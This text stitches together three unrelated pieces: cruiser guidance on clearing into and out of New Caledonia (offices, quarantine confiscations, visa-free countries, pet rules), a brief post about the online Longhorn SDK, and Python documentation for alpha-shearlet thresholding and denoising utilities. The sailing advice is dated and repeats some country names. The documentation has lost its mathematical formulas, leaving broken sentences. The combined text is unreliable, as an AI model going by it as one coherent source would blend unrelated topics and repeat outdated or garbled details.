The marina office will give you a map directing you to all the official offices. There are four governmental offices you will have to visit. They are all within walking distance and should take approx. an hour to complete. Some cruisers take their dinghy to the north end of the bay/port and have a crew member tend the dinghy while they visit the nearby clearance offices.
The Immigration office, which is near the cruise ship wharf, will need to be visited both inbound and when departing. They are only open until 1130 so visit them first. You will be asked to fill out a form and sign a register.
At Customs (open 0730-1130, 1230-1630 Monday to Thursday, and until 1400 on Friday) it is the same procedure. Ensure that the boat is placed in the Temporary Duty-free Import scheme (IFT).
Quarantine/Biosecurity are the only officials who are likely to want to come to the boat (if at anchor you will have to take them in your dinghy). They will check the boat and may confiscate food items (as outlined below). If at anchor, bring all of your forbidden foods ashore with you in plastic bags for disposal.
Quarantine / Biosecurity
BE WARNED: New Caledonia has strict quarantine regulations. Not only will the majority of your food (including frozen food) be confiscated, but all products of animal or vegetable origin, as well as items such as bikes that may be stained with soil, must be kept on board. See further details below under Customs.
Since April 2010 the quarantine clearance arrangements at Port Moselle for pets on board are uncertain as the building housing their office was demolished and the new one still under construction. See report by cruisers who arrived with a dog July 2010, as to how the situation was then. Updates from cruisers arriving here with pets would be welcome.
On Departure
On departure, Customs, Immigration, and the Port Captain have to be visited. Those planning to leave during the weekend must clear out on Friday. Port fees for 30 days (minimum length of stay) are payable when clearing out of the country with customs. There are no immigration charges when exiting.
Passports of all crew are requested by both Customs and Immigration, and Immigration will also want to see the outward tickets (or photocopies) of crew leaving by air.
Start early as the Port Captain (last person to visit) closes at 1100.
It is also now possible to clear out of any port that has a Customs office (i.e. any port where they ship minerals), but it must be arranged beforehand with the Immigration officials in Noumea.
Clearance permits 3 days after your stated departure date in which to exit New Caledonia.
It is no longer necessary to apply for a permit to visit the Loyalty Islands or Isle of Pines. On making outward clearance in Noumea, you must request such a visit a few days before leaving and the clearance will be stamped. Whilst there are reports of yachts staying up to two weeks in these Islands, normally a 24 hour stop is permitted.
In order to obtain duty free fuel, ask for a paper from Customs when you check-out stating how many litres of petrol and diesel you want (better to over-estimate). It's also possible to shop duty free with your check-out papers in town.
Last updated March 2015.
All visitors (including French citizens) require a passport valid for 6 months.
The citizens of the following counties do not require a visa for visits of up to 90 days in a 6 month period:-
Countries of the EU, Andorra, Argentina, Australia, Bermuda, Bolivia, Brunei, Bermuda, Bolivia, Canada, Chile, Costa Rica, Croatia, El Salvador, Guatemala, Holy See, Honduras, Hong Kong, Japan, Macao, Malaysia, Mexico, Monaco, Nicaragua, New Zealand, Panama, Paraguay, San Marino, Singapore, South Korea, Switzerland, United States, Uruguay.
All other visitors require a visa in advance. Contact a French Consulate General at a consular section or embassy. Applications must be made in person and can take from 1 day to 3 weeks and cost 35 euro.
Immigration rules are similar to those of mainland France.
If a visa is required, note that the visa application must specify "France + New Caledonia". The visa is a 3 month non-renewable one and only one will be issued in a 6 month period. Ask for the maximum stay even if you plan to leave before that.
If arriving by plane and departing by yacht, the cabin crew will require proof of this before boarding the plane. To obtain this, the skipper must visit the Immigration Office with 2 copies of a letter giving name, flight date and number and comfirming they will be joining the yacht as crew and departing aboard the yacht. The ships papers will also be required. Both copies will be stamped and one copy of this must be faxed through to the crew before departure. It can be in English.
If leaving by plane, then both the skipper and crew (with air ticket) must go to the Immigration Office and have the crew officially removed from the crew list.
See this useful report if wanting to spend longer than 90 days or plan to leave the boat for a while.
Last updated September 2014.
Customs Rules
The maximum period a yacht may stay before becoming eligible for import duty is six months - or one year if no visit has been made in the previous 3 years. A six month cruising permit is granted on arrival. This relates to the boat only and crew must conform with existing visa requirements.
If the owner has to leave the country, the boat can be placed under the Custom's 'Private Warehouse' scheme for a maximum of 12 months during which time is cannot be used or moved. The limitation on the yacht's stay in new Caledonia is suspended during this time. See www.douane.gouv.ne for the necessary form. Safety and maintenance inspections can be made during storage if Customs are advised in advance.
All items belonging to the crew are permitted to be brought in duty free.
Foreign vessels may now import spare parts and equipment free of duty, but the formalities must be completed at customs in advance, either by the owner or the repair yard. Similar formalities will allow the purchase of duty-free fuel on departure.
Firearms are bonded by customs until departure.
Quarantine
New Caledonia has strict quarantine regulations. Not only will the majority of your food (including frozen food) be confiscated, but all products of animal or vegetable origin, as well as items such as bikes that may be stained with soil, must be kept on board. All such items must be declared to the Quarantine officer (SIVAP - Inspection sanitaire aux frontières).
The following food items will be confiscated: delicatessen meats, fresh/frozen meat, eggs & dairy produce, honey, fresh fruit & vegetables. Goods are taken regardless of origin (even if purchased in New Caledonia on an earlier visit) and the boat is likely to be searched for them. It is therefore best to arrive with as little fresh and frozen food as possible.
You are now allowed to keep meat purchased in Canada, Denmark, French Polynesia, Ireland (Rep. of), New Zealand, Norway, Sweden, U.S.A. or Vanuatu - providing it has the necessary New Caledonian certificate. It is best to have New Zealand meat packaged by a butcher with New Zealand Export Quality Labels.
Last updated November 2015.
Ciguatera Warning: Cruisers who visited Chesterfield Reef, Coral Sea, August 2011, reported that there is Ciguatera in the fish there. Crew had medical problems even from fish caught in the open ocean 15 Nm from the entrance to the reef. It is therefore advisable to not eat any fish caught in or near Chesterfield Reef.
ZIKA VIRUS ALERT: (September 2016) There have been recent safety alerts from the US State Department, UK Foreign Office, and Center for Disease Control (CDC) regarding travel to parts of Central and South America, Africa, southern Asia, the Caribbean, and the South Pacific islands. There is growing concern about the rapid spread of the ZIKA Virus and the impact of the virus on pregnant women and babies. ZIKA is transmitted by mosquitos in tropical and sub-tropical climates, and there is currently no cure or vaccine. This situation is evolving rapidly, so please refer to the CDC’s dedicated website if you are intending to cruise in one of the effected areas.
Overtime is not usually charged.
LPG Restriction
The refilling of gas bottles is no longer permitted (as of July 2010). Bottles must be exchanged and only butane is available.
For a stay of less than 2 months, on condition that the yacht remains at anchor after customs formalities are completed, animals can be confined onboard. A special form needs to be filled in, which can be obtained by email from Veterinary Services (see below).
On departure the animal's owner must inform the authorities, who will carry out an inspection.
For stays exceeding 2 months, or if the yacht comes to a berth or is on the hard, the animal must be put into quarantine, provided it has been in the Pacific for the past 6 months. Animals other than cats and dogs will not be allowed to remain onboard but must be destroyed or taken immediately out of New Caledonia.
Cats and dogs from rabies-free countries are allowed to be temporarily imported but must spend one week (5 days) in quarantine. The cost is 13,500 PCF.
New Regulations in New Caledonia for importing your dog/pet came into affect on 15th July, 2011 and all pets must complete a 10 day quarantine onboard. Contact Biosecurity who will come to your boat and check your pet out. Also contact a local vet who must then certify their visits as the first and last day of the quarantine. In between, the Regulations say the boat must stay in the bay of Noumea. Once cleared-in, New Caledonia is very pet friendly.
(Advisable to contact the a vet in advance so you make sure every day in Noumea counts towards your 10 day quarantine).
Last checked October 2012.
Vets
Dr Maron (687) 430-809
Dr Legoux (687) 274 517


The Longhorn SDK Online
Here. If you haven't seen it yet, or weren't able to get the CDs from the PDC, you'll want to check out the online Longhorn SDK.
Even if you do have the offline LHSDK, you'll want to check out the online version, as it includes experimental support for MSDN Annotations, which lets readers comment on each page.


Utility functions¶
This module contains several utility functions which can be used e.g. for thresholding the alpha-shearlet coefficients or for using the alpha-shearlet transform for denoising.
Finally, it also contains the functions my_ravel()
and my_unravel()
which can be used to convert the alpha-shearlet coefficients into a
1-dimensional vector and back. This is in particular convenient for the
subsampled transform, where this conversion is not entirely trivial, since the
different “coefficient images” have varying dimensions.
Thresholding¶
-
AlphaTransformUtility.
threshold
(coeffs, thresh_value, mode)¶ Given a set of coefficients, this function performs a thresholding procedure, i.e., either soft or hard thresholding.
Required parameters
Parameters: - coeffs –
The coefficients to be thresholded.
Either a three-dimensional
numpy.ndarray
or a generator producing two dimensionalnumpy.ndarray
objects. - thresh_value (float) – The thresholding cutoff for the coefficients, see also
mode
for more details. - mode (string) –
Either
'hard'
or'soft'
. This parameter determines whether the hard thresholding operatoror the soft thresholding operator
is applied to each entry of the coefficients.
Return value
Returns: A generator producing the thresholded coefficients. Each thresholded “coefficient image”, i.e., each thresholded 2-dimensional array, is produced in turn. - coeffs –
Denoising¶
-
AlphaTransformUtility.
denoise
(img, trafo, noise_lvl, multipliers=None)¶ Given a noisy image , this function performs a denoising procedure based on shearlet thresholding. More precisely:
- A scale dependent threshold parameter is calculated according to , where is a multiplier for the jth scale, is the noise level present in the image and are its dimensions.
- The alpha-shearlet transform of is calculated
using
trafo
. - Hard thesholding with threshold parameter (cutoff) is
performed on alpha-shearlet coefficients, i.e., for each scale
j
, each of the coefficients belonging to the jth scale is set to zero if its absolute value is smaller than and otherwise it is left unchanged. - The (pseudo)-inverse of the alpha-shearlet transform is applied to the thresholded coefficients and this reconstruction is the return value of the function.
Required parameters
Parameters: - img (numpy.ndarray) – The “image” (2 dimensional array) that should be denoised.
- trafo –
An object of class
AlphaTransform.AlphaShearletTransform
. This object is used to calculate the (inverse) alpha-shearlet transform during the denoising procedure.The dimension of the transform and of
img
need to coincide. - noise_lvl (float) –
The (presumed) noise level present in
img
. Ifimg = img_clean + noise
, thennoise_lvl
should be approximately equal to the norm ofnoise
.In particular, if
im
is obtained by adding Gaussian noise with standard deviation (in each entry) to a noise free image , then the noise level is given by ; see alsoAdaptiveAlpha.optimize_denoising()
.
Keyword parameter
Parameters: multipliers (list) – A list of multipliers (floats) for each scale.
multipliers[j]
determines the value of and thus of the cutoff for scalej
.In particular,
len(multipliers)
needs to be equal to the number of the scales oftrafo
.Return value
Returns: The denoised image, i.e., the result of the denoising procedure described above.
Vectorizing the alpha-shearlet coefficients¶
-
AlphaTransformUtility.
my_ravel
(coeff)¶ The subsampled alpha-shearlet transform returns a list of differently sized(!) two-dimensional arrays.  The present function can be used (in both cases) to convert this list into a single one-dimensional numpy array.
Note
In order to invert this conversion to a one-dimensional array, use the associated function
my_unravel()
. Precisely,my_unravel()
satisfiesmy_unravel(my_trafo, my_ravel(coeff)) == coeff
, if coeff is obtained from callingmy_trafo.transform(im)
for some imageim
.The preceding equality holds at least up to (negligible) differences (the left-hand side is a generator while the right-hand side could also be a list).
Required parameter
Parameters: coeff (list) – A list (or a generator) containing/producing two-dimensional numpy arrays. Return value
Returns: A one-dimensional numpy.ndarray
from which coeff can be reconstructed.
-
AlphaTransformUtility.
my_unravel
(trafo, coeff)¶ This method is a companion method to
my_ravel()
. See the documentation of that function for more details.Required parameters
Parameters: - trafo – An object of class
AlphaTransform.AlphaShearletTransform
. - coeff (numpy.ndarray) – A one-dimensional numpy array, obtained via
my_ravel(coeff_unrav)
, wherecoeff_unrav
is of the same dimensions as the output oftrafo.transform(im)
, whereim
is an image.
Return value
Returns: A generator producing the same values as coeff_unrav
, i.e., an “unravelled” version ofcoeff
.- trafo – An object of class
Miscelaneous utility functions¶
-
AlphaTransformUtility.
find_free_file
(file_template)¶ This function finds the first nonexistent (“free”) file obtained by “counting upwards” using the passed template/pattern.
Required Parameter
Parameters: file_template (string) – This should be a string whose
format()
method can be called using only an integer argument, e.g.'/home/test_{0:0>2d}.txt'
, which would result infind_free_file
consecutively checking the following files for existence:/home/test_00.txt, /home/test_01.txt, ...
Return value
Returns: file_template.format(i)
for the first value ofi
for which the corresponding file does not yet exist.
-
AlphaTransformUtility.
scale_gen
(trafo)¶ Required parameter
Parameters: trafo – An object of class AlphaTransform.AlphaShearletTransform
.Return value
Returns: A generator producing integers. The i-th produced integer is the scale (starting from -1 for the low-pass part) of the i-th alpha-shearlet associated to trafo
.Hence, if
coeff = trafo.transform(im)
, then the following iteration produces the associated scale to each “coefficient image”:for scale, c in zip(scale_gen(trafo), coeff): ...
-
AlphaTransformUtility.
image_load
(path)¶ Given a ‘.npy’ or ‘.png’ file, this function loads the file and returns its content as a two-dimensional
numpy.ndarray
offloat
values.For ‘.png’ images, the pixel values are normalized to be between 0 and 1 (instead of between 0 and 255) and color images are converted to grey-scale.
Required parameter
Parameters: path (string) – Path to the image to be converted, either of a ‘.png’ or ‘.npy’ file. Return value
Returns: The loaded image as a two-dimensional numpy.ndarray
.